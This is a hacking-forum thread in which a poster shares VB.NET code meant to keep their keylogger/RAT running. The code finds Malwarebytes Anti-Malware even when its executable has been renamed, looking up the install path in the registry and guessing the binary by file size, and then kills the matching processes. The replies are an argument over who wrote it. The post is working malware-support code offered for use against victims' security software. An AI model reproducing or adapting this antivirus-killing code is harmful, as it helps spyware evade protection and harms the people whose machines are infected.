Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[Code] Anti-Malwarebytes' Anti-Malware [VB.NET][When Renamed]

Hello,

I was expiering many trouble with my keylogger/RAT, some 'smart' users change their MBAM's .exe name, in that way my keylogger/RAT could't kill it, now, I wrote a code to receive the new .exe name, you can do it allot shorter (With the x64/x32 part), but it runs at startup and you only have to run it once, so who cares?

Code
Imports Microsoft.Win32
Imports System.Management
Imports System.IO
Public Class Form1
    Dim MBAM_FileName As String = ""
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Setup_MalwarebytesAntiMalware()
    End Sub
    Public Sub Setup_MalwarebytesAntiMalware()
        If File.Exists(MBAM_Path() & "/mbam.exe") Then
            MBAM_FileName = "mbam"
            Exit Sub
        End If
        Dim dir As New DirectoryInfo(MBAM_Path)
        Dim arr As FileInfo() = dir.GetFiles()
        For Each FileInfo In arr
            If FileInfo.Length / 1024 >= 900 Then
                'Filename has been changed.
                If FileInfo.Extension = ".exe" Then
                    MBAM_FileName = FileInfo.Name.Replace(".exe", Nothing)
                    Exit For
                End If
            End If
        Next
    End Sub
    Public Function MBAM_Path() As String
        'Anti Malwarebytes' Anti-Malware
        Dim bit_ver As String = Get_Bit()
        Dim path As String = ""
        Select Case bit_ver
            Case "32"
                Dim key32 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Malwarebytes' Anti-Malware", True) 'x32
                path = key32.GetValue("InstallPath")
                Exit Select
            Case "64"
                Dim key64 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Wow6432Node\Malwarebytes' Anti-Malware", True) 'x64
                path = key64.GetValue("InstallPath")
                Exit Select
        End Select
        Return path
    End Function
    Public Function Get_Bit() As String
        Dim mc As New ManagementClass("win32_processor")
        Dim moc As ManagementObjectCollection = mc.GetInstances()
        Dim str As String = ""
        For Each mo As ManagementObject In moc
            str = mo.Properties("AddressWidth").Value.ToString() '32 = x32 | 64 = x64
            Exit For
        Next
        Return str
    End Function

    Public Sub Antis()
        For Each p As Process In Process.GetProcesses()
            If p.ProcessName.Contains(MBAM_FileName) Then
                p.Kill()
            End If
        Next
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Antis()
    End Sub
End Class
FR1908
Thanks for the code, i don't need it but nice share :)
(Jan 20, 2011 09:49 AM)☣ 1337 ☣ Wrote:  This was realese in the HF 1337/UB3R forum reported.
https://hackforums.net/showthread.php?tid=803573

I just wrote it 10 minutes ago, fk off.

EDIT: LOL you even know what coding is?
FR1908
Shit, sorry I mis-read the title.

Fail on my behalf


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Neotrix2000Mar 21, 2022 02:23 PM 23 2,742 Mar 21, 2022 02:23 PM
Last Post: chupit0
[.NET] by fisica638Aug 25, 2020 03:04 AM 2 375 Aug 25, 2020 03:04 AM
Last Post: SaketSaket
[.NET] by internetb0yJun 30, 2019 11:45 AM 11 586 Jun 30, 2019 11:45 AM
Last Post: #Kat